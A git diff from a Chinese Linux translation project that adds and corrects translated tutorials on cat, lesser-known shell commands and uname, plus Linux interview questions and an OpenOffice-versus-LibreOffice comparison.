当你想要显示文本中的tab制表位时. 可使用-T参数. 它会在输入结果中标识为 **\^I** .
|
||||
|
||||
# cat -T /etc/hosts
|
||||
|
||||
# Do not remove the following line, or various programs
|
||||
# that require network functionality will fail.
|
||||
127.0.0.1^I^Ilocalhost.localdomain localhost
|
||||
::1^I^Ilocalhost6.localdomain6 localhost6
|
||||
|
||||
### 5. 显示换行符 ###
|
||||
|
||||
-E参数在每行结尾使用 **$** 表示换行符。如下所示 :
|
||||
|
||||
# cat -E /etc/hosts
|
||||
|
||||
# Do not remove the following line, or various programs$
|
||||
# that require network functionality will fail.$
|
||||
127.0.0.1 localhost.localdomain localhost$
|
||||
::1 localhost6.localdomain6 localhost6$
|
||||
|
||||
### 6. 同时显示制表符及换行符 ###
|
||||
|
||||
当你想要同时达到-T及-E的效果, 可使用-A参数.
|
||||
|
||||
# cat -A /etc/hosts
|
||||
|
||||
# Do not remove the following line, or various programs$
|
||||
# that require network functionality will fail.$
|
||||
127.0.0.1^I^Ilocalhost.localdomain localhost$
|
||||
::1^I^Ilocalhost6.localdomain6 localhost6$
|
||||
|
||||
### 7. 分屏显示 ###
|
||||
|
||||
当文件内容显示超过了你的屏幕大小, 可结合cat命令与其它命令分屏显示。使用管道符 ( | )来连接。
|
||||
|
||||
# cat /proc/meminfo | less
|
||||
|
||||
# cat /proc/meminfo | more
|
||||
|
||||
在less与more显示结果的区别在于less参数可pageup及pagedown上下翻滚。而more仅能使用空格向下翻屏。
|
||||
|
||||
### 8. 同时查看2个文件中的内容 ###
|
||||
|
||||
位于/root文件夹里有两个文件取名linux及desktop,每个文件含有以下内容 :
|
||||
|
||||
**Linux** : ubuntu, centos, redhat, mint and slackware
|
||||
|
||||
**Desktop** : gnome kde, xfce, enlightment, and cinnamon
|
||||
|
||||
当你想同时查看两文件中的内容时,可按如下方法 :
|
||||
|
||||
# cat /root/linux /root/desktop
|
||||
|
||||
ubuntu
|
||||
centos
|
||||
redhat
|
||||
mint
|
||||
slackware
|
||||
gnome
|
||||
kde
|
||||
xfce
|
||||
enlightment
|
||||
cinnamon
|
||||
|
||||
### 9. 排序显示 ###
|
||||
|
||||
类似. 你也可以结合cat命令与其它命令来进行自定义输出. 如结合 **sort** ,通过管道符对内容进行排序显示。举例 :
|
||||
|
||||
# cat /root/linux | sort
|
||||
|
||||
centos
|
||||
mint
|
||||
redhat
|
||||
slackware
|
||||
Ubuntu
|
||||
|
||||
### 10. 输入重定向 ###
|
||||
|
||||
你也可将显示结果输出重定向到屏幕或另一个文件。 只需要使用 > 符号(大于号)即可输出生成到另一个文件。
|
||||
|
||||
# cat /root/linux > /root/linuxdistro
|
||||
|
||||
以上命令会生成一个与/root/linux内容一模一样的叫linuxdistro的文件.
|
||||
|
||||
### 11. 新建文件 ###
|
||||
|
||||
Linux下有多种方法新建文件。其中使用cat就是方法之一.
|
||||
|
||||
# cat > operating_system
|
||||
|
||||
Unix
|
||||
Linux
|
||||
Windows
|
||||
MacOS
|
||||
|
||||
当你输入cat > operating_system,它会生成一个operating_system的文件。然后下面会显示空行。此时你可输入内容。比如我们输入Unix, Linux, Windows 和 MacOS, 输入完成后,按**Ctrl-D**存盘退出cat。此时你会发现当前文件夹下会生成一个包含你刚才输入内容的叫 **operating_system**的文件。
|
||||
|
||||
### 12.向文件中追加内容 ###
|
||||
|
||||
当你使用两个 > 符时, 会将第一个文件中的内容追加到第二个文件的末尾。 举例 :
|
||||
|
||||
# cat /root/linux >> /root/desktop
|
||||
|
||||
# cat /root/desktop
|
||||
|
||||
它会将 /root/linux的内容追加到/root/desktop文件的末尾。
|
||||
|
||||
第二个文件的内容将会变成这样:
|
||||
|
||||
gnome
|
||||
kde
|
||||
xfce
|
||||
enlightment
|
||||
cinnamon
|
||||
ubuntu
|
||||
centos
|
||||
redhat
|
||||
mint
|
||||
slackware
|
||||
|
||||
### 13. 重定向输入 ###
|
||||
|
||||
你可使用 **<**命令(小于号)将文件输入到cat中.
|
||||
|
||||
# cat < /root/linux
|
||||
|
||||
上面命令表示 /root/linux中的内容作为cat的输入。屏幕上显示如下 :
|
||||
|
||||
ubuntu
|
||||
centos
|
||||
redhat
|
||||
mint
|
||||
slackware
|
||||
|
||||
为了更清楚表示它的意义,我们使用以下命令 :
|
||||
|
||||
# cat < /root/linux | sort > linux-sort
|
||||
|
||||
此命令这样理解: **从/root/linux中读取内容,然后排序,将结果输出并生成linux-sort新文件**
|
||||
|
||||
然后我们看看linux-sort中的内容 :
|
||||
|
||||
centos
|
||||
mint
|
||||
redhat
|
||||
slackware
|
||||
ubuntu
|
||||
|
||||
以上是一些cat命令的日常基本应用. 更多相关你可从cat命令手册中学到并记得经常练习它们.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://linoxide.com/linux-command/13-cat-command-examples/
|
||||
|
||||
译者:[hongchuntang](https://github.com/译者ID) 校对:[Caroline](https://github.com/carolinewuyan)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
@ -1,17 +1,16 @@
|
||||
10个鲜为人知的Linux命令(3)
|
||||
十个鲜为人知的 Linux 命令 - Part 3
|
||||
================================================================================
|
||||

|
||||
|
||||
为了已经进入了10个鲜为人知Linux命令谢列的第三部分,这些都值得了解。或许你已经知道了这些命令,你无疑是一个有经验的Linux用户并喜欢探索。
|
||||
我们继续10个鲜为人知Linux命令系列的第三部分。或许你已经知道了这些命令,那你无疑是一个有经验而喜欢探索的Linux用户。
|
||||
|
||||
### 22. ^foo^bar 命令 ###
|
||||
### 22. \^foo\^bar 命令 ###
|
||||
|
||||
在一个实例中运行修改后的最后一个命令。假设我需要运行一个命令‘**ls -l**‘来详细列出‘**Desktop**’目录下的内容。意外地,你打了‘**lls -l**‘。所以你需要重新打整个命令或者使用导航键编辑前面的命令。当你的命令很长时这个很痛苦。
|
||||
|
||||
avi@localhost:~/Desktop$ lls -l
|
||||
bash: lls: command not found
|
||||
|
||||
|
||||
avi@localhost:~/Desktop$ ^lls^ls
|
||||
|
||||
ls -l
|
||||
@ -22,11 +21,11 @@
|
||||
-rw-r--r-- 1 avi avi 158951 Nov 5 15:27 2.jpg
|
||||
-rw-r--r-- 1 avi avi 90624 Nov 5 12:59 Untitled 1.doc
|
||||
|
||||
**注意**:在上面的替换中我们使用“**^typo(被替换的)^original_command(原始命令)**”。这个命令可能会非常危险如果你有意或者无意地打错了系统命令或者任何像**rm -rf**那样的风险命令。
|
||||
**注意**:在上面的替换中我们使用“**^typo(被替换的)^original_command(原始命令)**”。警告!这个命令可能会非常危险!如果你有意或者无意地打错了系统命令或者任何像**rm -rf**那样的风险命令的话!
|
||||
|
||||
### 23. > file.txt 命令 ###
|
||||
|
||||
这个命令会刷新文件的内容而不需移除或者创建相同的文件。当我们反复需要一个输出或者在相同的文件上记录日志时,这个命令在脚本语言中非常有用。
|
||||
这个命令会刷新文件的内容而不需删除然后创建相同的文件。当我们需要反复输出,或者在相同的文件上记录日志时,这个命令就非常有用。
|
||||
|
||||
我有一个有很多文字的‘**test.txt**’文件在我的‘**Desktop**‘上。
|
||||
|
||||
@ -46,7 +45,7 @@
|
||||
avi@localhost:~/Desktop$ > test.txt
|
||||
avi@localhost:~/Desktop$ cat test.txt
|
||||
|
||||
**注意**:再说一次,这个命令可能很危险,永远不要尝试刷新系统文件或者篇日志文件的内容。如果你这么做了,你可能会遭遇严重的问题。
|
||||
**注意**:再说一次,这个命令可能很危险!永远不要尝试刷新系统文件或者某篇日志文件的内容。如果你这么做了,你可能会遭遇严重的问题!
|
||||
|
||||
### 24. at 命令 ###
|
||||
|
||||
@ -54,7 +53,7 @@
|
||||
|
||||
avi@localhost:~/Desktop$ echo "ls -l > /dev/pts/0" | at 14:012
|
||||
|
||||
OR
|
||||
或
|
||||
|
||||
avi@localhost:~/Desktop$ echo "ls -l > /dev/pts/0" | at 2:12 PM
|
||||
|
||||
@ -69,11 +68,11 @@
|
||||
-rw-r--r-- 1 avi avi 96206 Nov 5 12:56 Untitled 1.odt
|
||||
-rw-r--r-- 1 avi avi 9405 Nov 12 23:22 Untitled.png
|
||||
|
||||
**注意**:echo “**ls -l**”: 这串echo命令(这里是 **ls -l**)输出在标准终端上。你可以用你需要或者选择的命令替代‘**ls -l**‘。
|
||||
**注意**:echo “**ls -l**”的意思是,将这串命令(这里是 **ls -l**)输出在标准终端上。你可以用你需要或者选择的命令替代‘**ls -l**‘。
|
||||
|
||||
> : 重定向输出
|
||||
\> :重定向输出
|
||||
|
||||
**/dev/pts/0**: 这是输出设备与/或者文件,输出到被寻找的地方,这里输出在终端。
|
||||
**/dev/pts/0**: 这是输出设备和/或文件,输出到指定的地方,这里输出在终端(/dev/pts/0)。
|
||||
|
||||
就我而言,此时我的**tty**在**/dev/pts/0**。你可以用**tty**命令检查你的**tty**。
|
||||
|
||||
@ -89,9 +88,9 @@
|
||||
|
||||
avi@localhost:/home/avi/Desktop# du -h --max-depth=1
|
||||
|
||||
38M ./test
|
||||
38M ./test
|
||||
1.1G ./shivji
|
||||
42M ./drupal
|
||||
42M ./drupal
|
||||
6.9G ./101MSDCF
|
||||
16G .
|
||||
|
||||
@ -115,8 +114,7 @@
|
||||
|
||||
### 27. look 命令 ###
|
||||
|
||||
在终端上从英文字典上查单词以防混淆。也就是说,我混淆了是该拼成carrier还是carieer。
|
||||
|
||||
在终端上从英文字典上查单词以防混淆。比如说,我记不清了是该拼成carrier还是carieer。
|
||||
|
||||
avi@localhost:/home/avi/Documents# look car
|
||||
|
||||
@ -167,7 +165,7 @@ avi@localhost:/home/avi/Documents# look car
|
||||
|
||||
### 29. factor 命令 ###
|
||||
|
||||
factor实际是一个始于数学的命令。这个命令会输出所有给定数字的因数。
|
||||
factor实际是一个源于数学的命令。这个命令会输出所有给定数字的因数。
|
||||
|
||||
avi@localhost:~/Desktop$ factor 22
|
||||
22: 2 11
|
||||
@ -184,7 +182,7 @@ factor实际是一个始于数学的命令。这个命令会输出所有给定
|
||||
|
||||
当你等待或者持续盯着你的终端等待命令的回应或者等待服务器的连接时,有时是很气人的。
|
||||
|
||||
一旦服务器连通就有一个声音如何?
|
||||
一旦服务器连通就有一个声音如何(译注:下面命令是等60秒PING一次)?
|
||||
|
||||
avi@localhost:~/Desktop$ ping -i 60 -a www.google.com
|
||||
|
||||
@ -192,7 +190,7 @@ factor实际是一个始于数学的命令。这个命令会输出所有给定
|
||||
64 bytes from www.google.com (74.125.200.103): icmp_req=1 ttl=44 time=105 ms
|
||||
64 bytes from 74.125.200.103: icmp_req=2 ttl=44 time=281 ms
|
||||
|
||||
让我告诉你一件事情,当你报告命令不会返回声音时。请确保你的系统不是静音的,声音已经在‘**sound preferences(声音选项)**‘ 中启用并确保勾选了‘**Enable window and window sound**‘。
|
||||
注意,当你发现命令不会返回声音时。请确保你的系统不是静音的,声音已经在‘**sound preferences(声音选项)**‘ 中启用并确保勾选了‘**Enable window and window sound**‘。
|
||||
|
||||
### 31. tac 命令 ###
|
||||
|
||||
@ -208,7 +206,7 @@ factor实际是一个始于数学的命令。这个命令会输出所有给定
|
||||
> 2. One of such important tool is Shell Scripting. Windows however comes with such a tool but as usual it is much weak as compared to it's Linux Counterpart.
|
||||
> 3. Shell scripting/programming makes it possible to execute command(s), piped to get desired output in order to automate day-to-day usages.
|
||||
|
||||
现在用tac命令反转文件内容。
|
||||
现在用tac命令反转文件内容(译注:当然,我们知道cat反转过来就是tac)。
|
||||
|
||||
avi@localhost:~/Documents$ tac 35.txt
|
||||
|
||||
@ -218,7 +216,7 @@ factor实际是一个始于数学的命令。这个命令会输出所有给定
|
||||
> 2. One of such important tool is Shell Scripting. Windows however comes with such a tool but as usual it is much weak as compared to it's Linux Counterpart.
|
||||
> 1. Linux is built with certain powerful tools, which are unavailable in windows.
|
||||
|
||||
现在完了。如果你还知道其他一些Linux鲜为人知的命令,你可以在下面评论,那么我们你可以在以后的文章中包含进来。
|
||||
现在结束了。如果你还知道其他一些Linux鲜为人知的命令,你可以在下面评论,那么我们你可以在以后的文章中包含进来。
|
||||
|
||||
不要忘了给我们有价值的评论。我很快会发另外有趣的文章。别走开继续关注 **Tecmint**。
|
||||
|
||||
@ -226,7 +224,7 @@ factor实际是一个始于数学的命令。这个命令会输出所有给定
|
||||
|
||||
via: http://www.tecmint.com/10-lesser-known-commands-for-linux-part-3/
|
||||
|
||||
译者:[geekpi](https://github.com/geekpi) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
@ -0,0 +1,89 @@
|
||||
11个Linux基础面试问题
|
||||
================================================================================
|
||||
|
||||
### Q.1: Linux 操作系统的核心是什么? ###
|
||||
- Shell
|
||||
- Kernel
|
||||
- Command
|
||||
- Script
|
||||
- Terminal
|
||||
|
||||
> **答**: 内核(Kernel)是Linux 操作系统的核心。Shell是一个命令行解释器,命令(Command)是针对计算机的指令,脚本(Script)是存储在文件中的命令的集合,终端(Termial)是命令行接口。
|
||||
|
||||
### Q.2: Linus Torvalds 都创建过什么东东? ###
|
||||
- Fedora
|
||||
- Slackware
|
||||
- Debian
|
||||
- Gentoo
|
||||
- Linux
|
||||
|
||||
> **答**: Linux Torvalds 创建了Linux,Linux是所有上述操作系统的核心,同样也是其他一些Linux 操作系统的核心。
|
||||
|
||||
### Q.3: Torvalds,使用C++语言编写了Linux内核的大部分代码,是这样吗? ###
|
||||
|
||||
> **答**: 不! Linux内核包含了12,020,528行代码,其中注释占去了2,151,595 行。因此剩下的9,868,933 行就是纯代码了。而其中7,896,318行都是用C语言写的。
|
||||
|
||||
剩下的1,972,615行则是使用C++,汇编,Perl, Shell Script, Python, Bash Script, HTML, awk, yacc, lex, sed等。
|
||||
|
||||
**注**:代码行数每天都在变动,平均每天超过3,509行代码添加到内核。
|
||||
|
||||
### Q.4: 起初,Linux 是为 Intel X86 架构编写的,但是后来比其他操作系统移植的硬件平台都多,是这样吗 ? ###
|
||||
|
||||
> **答**: 是的,我同意。Linux那时候是为x86机器写的,而且现已移至到所有类型的平台。今天超过90%的超级计算机都在使用Linux。Linux在移动手机和平板电脑领域前景广阔。事实上我们被Linux包围着,远程遥控,太空科学,研究,Web,桌面计算等等,举之不尽。
|
||||
|
||||
### Q.5: 编辑 Linux 内核合法吗? ###
|
||||
|
||||
> **答**: 是的,内核基于GPL发布,任何人都可以基于GPL允许的权限随意编辑内核。Linux内核属于免费开源软件(FOSS)。
|
||||
|
||||
### Q.6: UNIX和Linux操作系统,本质上的不同在哪里?###
|
||||
|
||||
> **答**: Linux操作系统属于免费开源软件,内核是由 Linus Torvalds 和开源社区共同开发的。当然我们不能说UNIX操作系统和免费开源软件(FOSS)无关,BSD 就是基于 FOSS 范畴的 UNIX 的变种。而且大公司如 Apple,IBM,Oracle,HP等,都在为UNIX内核贡献代码。
|
||||
|
||||
### Q. 7: 挑出来一个与众不同的来. ###
|
||||
- HP-UX
|
||||
- AIX
|
||||
- OSX
|
||||
- Slackware
|
||||
- Solaris
|
||||
|
||||
> **答** : Slackware。 HP-UX, AIX, OSX, Solaris 分别是由 HP, IBM, APPLE, Oracle 开发的,并且都是UNIX的变种. Slackware 则是一个Linux操作系统.
|
||||
|
||||
### Q.8: Linux 不会感染病毒吗? ###
|
||||
|
||||
> **答** : 当然会! 这个地球上不存在不会感染病毒的操作系统。但是Linux以迄今为止病毒数量少而著称,是的,甚至比UNIX还要少。Linux榜上有名的病毒只有60-100个,而且没有一个病毒在传播蔓延。Unix粗略估计有85-120个。
|
||||
|
||||
### Q.9: Linux 属于哪种类型的操作系统? ###
|
||||
- 多用户
|
||||
- 多任务
|
||||
- 多线程
|
||||
- 以上所有
|
||||
- 以上都不是
|
||||
|
||||
> **答** : 以上所有。Linux是一个支持多用户,可以同时运行多个进程执行多个任务的操作系统。
|
||||
|
||||
### Q.10: 一般的 Linux 命令的语法格式是: ###
|
||||
- command [选项] [参数]
|
||||
- command 选项 [参数]
|
||||
- command [选项] [参数]
|
||||
- command 选项 参数
|
||||
|
||||
> **答** : Linux 命令的正确语法是, Command [选项] [参数]。
|
||||
|
||||
### Q.11: 挑出来一个与众不同的来. ###
|
||||
|
||||
- Vi
|
||||
- vim
|
||||
- cd
|
||||
- nano
|
||||
|
||||
> **答** : cd 与其他命令不同。Vi,vim和 nano都是编辑器,用于编辑文档,而cd是用于切换目录的命令。
|
||||
|
||||
就这么多了。上述问题你学到手几个?效果如何?我们期待着你的评论。下周,会有新的问题,让我们拭目以待。保持健康,锁定链接,记得来**Tecmint**哦。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.tecmint.com/basic-linux-interview-questions-and-answers/
|
||||
|
||||
译者:[l3b2w1](https://github.com/l3b2w1) 校对:[jasminepeng](https://github.com/jasminepeng)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
@ -0,0 +1,116 @@
|
||||
九个uname命令获取Linux系统详情的实例
|
||||
================================================================================
|
||||
|
||||
当你在控制台模式下,无法通过“鼠标右键 > 关于”获取操作系统的信息。这时,在Linux下,你可以使用**uname**命令,帮助你完成这些工作。 Uname是**unix name**的缩写。在控制台中实际使用的时候只需键入**uname**。
|
||||
|
||||
当你输入uname不带参数时,它仅仅显示你的操作系统的名字。
|
||||
|
||||
# uname
|
||||
|
||||
Linux
|
||||
|
||||
也许这还不能满足你的需要。所以你需要加上一些参数,来使uname显示你所需要的信息。
|
||||
|
||||
以下是uname参数的列表:
|
||||
|
||||
### 1. 内核名称 ###
|
||||
|
||||
你可以用**-s**参数,显示内核名称。(译注:可以在其他的类Unix系统上运行这个命令看看,比如mac就会显示Darwin)
|
||||
|
||||
# uname -s
|
||||
|
||||
Linux
|
||||
|
||||
输出信息会跟uname不带参数时输出的一样。
|
||||
|
||||
### 2. 内核发行版 ###
|
||||
|
||||
如果你想知道你正在使用哪个内核发行版(指不同的内核打包版本),就可以用**-r**参数
|
||||
|
||||
# uname -r
|
||||
|
||||
2.6.18-371.1.2.el5
|
||||
|
||||
### 3. 内核版本 ###
|
||||
|
||||
除一些内核信息外,用**-v**参数uname也能获取更详细的内核版本信息(译注:不是版本号,是指该内核建立的时间和CPU架构等)。
|
||||
|
||||
# uname -v
|
||||
|
||||
#1 SMP Tue Oct 22 12:57:43 EDT 2013
|
||||
|
||||
### 4. 节点名 ###
|
||||
|
||||
参数 -n 会提供给你节点的主机名。举例来说,如果你的主机名是“dev-machine”,**-n**参数就会把主机名打印出来。
|
||||
|
||||
# uname -n
|
||||
|
||||
dev-machine
|
||||
|
||||
对于RedHat和CentOS用户来说,你也可以通过**/etc/redhat_release**文件来查看:
|
||||
|
||||
# cat /etc/redhat_release
|
||||
|
||||
CentOS release 5.10 (Final)
|
||||
|
||||
如果不是基于RedHat的发行版,你可以查看**/etc/issue**文件.类似如下:
|
||||
|
||||
# cat /etc/issue
|
||||
|
||||
Linux Mint Olivia \n \l:
|
||||
|
||||
### 5.硬件名称 ###
|
||||
|
||||
如果你想知道用的是哪类机器,你可以尝试**-m**参数。它将告诉你关于硬件的信息。
|
||||
|
||||
# uname -m
|
||||
|
||||
i686
|
||||
|
||||
i686表明了你用的是32位的操作系统,如果是X86_64则表明你用的是64位的系统。
|
||||
|
||||
### 6. 硬件平台 ###
|
||||
|
||||
与硬件名称类似,-i参数会显示你的硬件平台(译注:硬件名称i686是属于硬件平台i386系列的)。
|
||||
|
||||
# uname -i
|
||||
|
||||
i386
|
||||
|
||||
同样,i386意味这是正在运行一个32位的系统,如果输出的是X86_64则说明你正在运行一个64位的系统。
|
||||
|
||||
### 7. 处理器类型 ###
|
||||
|
||||
你可以用**-p**参数查看处理器类型。如果uname无法识别,它会显示 ‘unknown’ 作为输出。
|
||||
|
||||
# uname -p
|
||||
|
||||
i686
|
||||
|
||||
### 8. 操作系统 ###
|
||||
|
||||
uname也可以透露你正在运行的操作系统信息,用**-o**参数可以实现这个目的。
|
||||
|
||||
# uname -o
|
||||
|
||||
GNU/Linux
|
||||
|
||||
### 9. 所有信息 ###
|
||||
|
||||
有一个参数可以展示所有的信息!这就是**-a**参数,它会显示所有信息。如果**-i和-p**输出为unknown则默认会被省略。
|
||||
|
||||
# uname -a
|
||||
|
||||
Linux dev-machine 2.6.18-371.1.2.el5 #1 SMP Tue Oct 22 12:57:43 EDT 2013 i686 i686 i386 GNU/Linux
|
||||
|
||||
以上就是关于uname命令的使用。请敬请期待更多的命令!
|
||||
|
||||
谢谢阅读!
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://linoxide.com/linux-command/uname-command/
|
||||
|
||||
译者:[Luoxcat](https://github.com/Luoxcat) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
@ -1,4 +1,4 @@
|
||||
Apache OpenOffice vs. LibreOffice 详解
|
||||
Apache OpenOffice 与 LibreOffice 之间的抉择
|
||||
================================================================================
|
||||
> 这两个开源办公套件产品很相似,然而某一个貌似已经开始具有轻微的领先优势……
|
||||
|
||||
@ -10,7 +10,7 @@ Apache OpenOffice vs. LibreOffice 详解
|
||||
|
||||
###具体各程序间的区别###
|
||||
|
||||
LibreOffice和OpenOffice之间的程序大部分都是一样的。例如它俩的Draw,看起来完全没有区别;再说Impress,主要的区别就是LibreOffice最新版支持使用Android设备控制幻灯片放映;除了幻灯片背景以外,两者其他方面没什么不同,都能很好的胜任日常使用,除非有特殊偏好,用户选择哪一款都可以;同样,在Calc电子制表软件中,两者最大的区别就是你可以在LibreOffice里创建数据表格。
|
||||
LibreOffice和OpenOffice之间的程序大部分都是一样的。例如它俩的Draw,看起来完全没有区别;再如Impress,主要的区别就是LibreOffice的最新版支持使用Android设备控制幻灯片放映;除了幻灯片背景以外,两者其他方面没什么不同,都能很好的胜任日常使用,除非有特殊偏好,用户选择哪一款都可以;同样,在Calc电子制表软件中,两者最大的区别就是你可以在LibreOffice里创建数据表单。
|
||||
|
||||
即使在用户最常用的Writer程序中,两者的区别也很小。LibreOffice这边,编辑窗口的底部状态栏现在新包含了一个字词计数器,审阅标签也不再局限于某个单个点,现在可以附加在配图上,另外,LibreOffice终于解决了“脚注无法紧靠对应文本显示”的bug,除此以外,LibreOffice还添加了一个简易搜索栏,与web浏览器上的那种类似,同时,去掉了图形水平线的选项,这个功能过去十几年来几乎从没人用过。
|
||||
|
||||
@ -18,9 +18,9 @@ LibreOffice和OpenOffice之间的程序大部分都是一样的。例如它俩
|
||||
|
||||
一些更明显的区别体现在格式分类与字体支持上。例如,OpenOffice始终支持一些较老的保存格式,像AportisDoc(Palm版)和Pocket Word。另外,它也可以打开.docx格式的文件,但是无法像LibreOffice一样将文档保存为docx格式。
|
||||
|
||||
LibreOffice同样在字体支持方面占有优势。它对多语言和高级排版工艺始终有较好的支持,因此最新发布版本能够支持OpenType这样的现代字体首选格式。更重要的,通过“文件->属性->自体”,你能够将字体嵌入到文档中去,无需任何繁琐操作,就能确保字体的兼容性。
|
||||
LibreOffice同样在字体支持方面占有优势。它对多语言和高级排版工艺始终有较好的支持,因此最新发布版本能够支持OpenType这样的现代字体首选格式。更重要的,通过“文件->属性->字体”,你能够将字体嵌入到文档中去,无需任何繁琐操作,就能确保字体的兼容性。
|
||||
|
||||
这样的特性使得LibreOffice在面对微软Office用户转换格式的时候,得到了决定性的1分。因为通常,OpenOffice和LibreOffice都无法很好处理微软格式的文档,特别是那些又有文字表格又有图形对象再加上复杂格式的文档。因此,如果你要共享复杂一些的文档,例如宣传手册,最好使用PDF格式,而不是Open文档格式(ODF)。
|
||||
这样的特性使得LibreOffice在面对微软Office用户转换格式的时候,得到了决定性的1分。因为通常OpenOffice和LibreOffice都无法很好处理微软格式的文档,特别是那些又有文字表格又有图形对象再加上复杂格式的文档。因此,如果你要共享复杂一些的文档,例如宣传手册,最好使用PDF格式,而不是Open文档格式(ODF)。
|
||||
|
||||
然而,如果你确实需要转换一些本地或微软的文档,LibreOffice拥有一些决定性优势。它不仅能读写大多数微软文档,而且它对字体替换处理的很好,而这正是文档格式转换时要面临的一个主要问题。尽管其他问题仍有不少,例如在特性实现上有所不同,但LibreOffice在处理微软Office文档时确实应该是一个更可靠的选择。
|
||||
|
||||
@ -32,35 +32,35 @@ OpenOffice和LibreOffice两者都能很好的支持插件扩展,想要加强
|
||||
|
||||
以上这些扩展在OpenOffice下同样可用。与前者不同的是,使用OpenOffice时,你首先需要知道有这些扩展,然后专门去找到它们,这样一来,很大程度上限制了新用户对很多功能的体验。因此,当OpenOffice在最近发布的版本中尝试努力提供更好用的现代模板和剪贴画时,这样的疏漏就成了一个非常严重的不足,特别是当它很容易弥补的时候,(更何况LibreOffice同时也提供了自家最新的模板和剪贴画)。
|
||||
|
||||
###接口的更新换代###
|
||||
###界面的更新换代###
|
||||
|
||||
在OpenOffice.org属于Sun和Oracle的12年日子里,它的代码和接口就如同许多优秀特性一样,几乎被完全忽略。如今的结果就是,OpenOffice和LibreOffice作为套件产品,都各自拥有一整套优秀的功能,但是它们的接口却仍停留在上世纪90年代的水平。只有表面上的一些老旧接口被移除,其实大部分仍然亟待更新。
|
||||
在OpenOffice.org属于Sun和Oracle的12年日子里,它的界面和许多的其它功能一样,几乎被丢在遗忘的角落。如今的结果就是,OpenOffice和LibreOffice作为套件产品,都各自拥有一整套优秀的功能,但是它们的界面却仍停留在上世纪90年代的水平。只有表面上的一些老旧界面被移除,其实大部分仍然亟待更新。
|
||||
|
||||
在最新的发布中,OpenOffice试图彻底更新自己的接口,但是却由于“导航栏”而被迫受阻。导航栏这一特性,如今已经成为“用户体验”的标签,在LibreOffice中,你可以通过“工具->选项->LibreOffice->高级”找到关于它的设置。
|
||||
在最新的发布中,OpenOffice试图彻底更新自己的界面的努力主要集中在“边栏”上。这一特性,你可以通过“工具->选项->LibreOffice->高级”打开,它被标记为“试验性”的。
|
||||
|
||||
导航栏是一组功能集合,主要用于用户手动格式化。【【【这一特性鼓励用户使用样式,就代码编写人员的逻辑来说,这一点很容易被忽略。(这一句各种纠结不明白啥意思啊啊啊啊啊=。=)】】】然而,它最大的好处是,大大简化了字符和图形的格式化标签页,例如原本所有应用程序中都有的加粗选项,以及电子表格单元格中的“格式”标签页。幸运的是,导航栏还重新定义了菜单和样式对话框窗口的概念。
|
||||
边栏是一组功能集合,主要用于用户手动格式化。这一特性便于用户应用样式,因为如果用户关注在文章逻辑上,很容易忽略编排的样式。然而,最好的是,它大大简化了格式化字符和段落的选项卡,例如所有应用程序中都有的边框选项卡,以及电子表格单元格中的“格式”选项卡。幸运的是,边栏还重新定义了菜单和样式对话框窗口的概念。
|
||||
|
||||
LibreOffice还拥有更多的“冒险创新精神”,例如,与导航栏类似,Impress中的任务面板,摘要显示了大多数幻灯片设计步骤中要用到的选项卡名称。
|
||||
LibreOffice还拥有更多的“冒险创新精神”,例如,与边栏类似,Impress中的任务面板,摘要显示了大多数幻灯片设计步骤中要用到的选项卡名称。
|
||||
|
||||
在Writer编辑窗口中,LibreOffice的大部分接口已经完成改进,窗口底部的状态栏中,添加了一个字词计数器,原本负责管理和编辑模板的狭窄子菜单,如今也已被高端大气上档次的流线形按钮所取代。
|
||||
在Writer编辑窗口中,LibreOffice的大部分界面已经完成改进,窗口底部的状态栏中,添加了一个字词计数器,原本负责管理和编辑模板的狭窄子菜单,如今也已被高端大气上档次的流线形按钮所取代。
|
||||
|
||||
更明显的,LibreOffice中的主文本框架被精减为四个边角的十字准线。同样的,页眉和页脚也默认改为不可见,要想找到它们,四个小直角标明了它们的边界位置,点击就可以出现。
|
||||
|
||||
不太成功的一点改进是LibreOffice中管理页眉页脚的编辑窗口。除了【【【使用标签页鼓励手动格式化这一事实(和上面那纠结的一句一样,这是什么意思啊啊啊啊啊=。=)】】】,比较恼人的是,当在新一页的第一行输入的时候,已经输入的一部分总是会自动隐藏。
|
||||
不太成功的一点改进是LibreOffice中管理页眉页脚的编辑窗口中的选项卡。虽然这个选项卡事实上是为了便于手动调整格式,但是让人郁闷的是,当在新一页的第一行输入的时候,已经输入的一部分总是会自动隐藏起来。
|
||||
|
||||
尽管LibreOffice还重组了许多窗口选项,但是这些努力远没有结束。有时,开发人员会让LibreOffice变成传统框架与现代极简艺术的混合体,看起来有些不伦不类,但是,至少LibreOffice正在尝试着解决长期搁置的接口问题,而这些,OpenOffice甚至都还没来得急意识到。
|
||||
尽管LibreOffice还重组了许多对话窗口的选项,但是这些努力远没有结束。有时,开发人员会让LibreOffice变成传统框架与现代极简艺术的混合体,看起来有些不伦不类,但是,至少LibreOffice正在尝试着解决长期搁置的界面问题,而这些,OpenOffice甚至都还没来得及意识到。
|
||||
|
||||
###做出选择###
|
||||
|
||||
如果文档不超过2到3页,一般用户可能需要时常检查标题栏看自己用的是LibreOffice还是OpenOffice。然而,对于进阶用户而言,LibreOffice目前可能更有优势。优势并不算大,但是很明显。
|
||||
如果文档不超过2到3页,一般用户可能会时常看看标题栏看自己用的是LibreOffice还是OpenOffice。然而,对于进阶用户而言,LibreOffice目前可能更有优势。优势并不算大,但是很明显。
|
||||
|
||||
这一优势的确很难被忽略。原因首先,在LibreOffice已经确立了好几个月时间优势的情况下,OpenOffice却仍在专注于管理权和代码审计,这些工作也许有帮助也有必要,但是普通用户更愿意看到他们对代码做出更多的改进工作。
|
||||
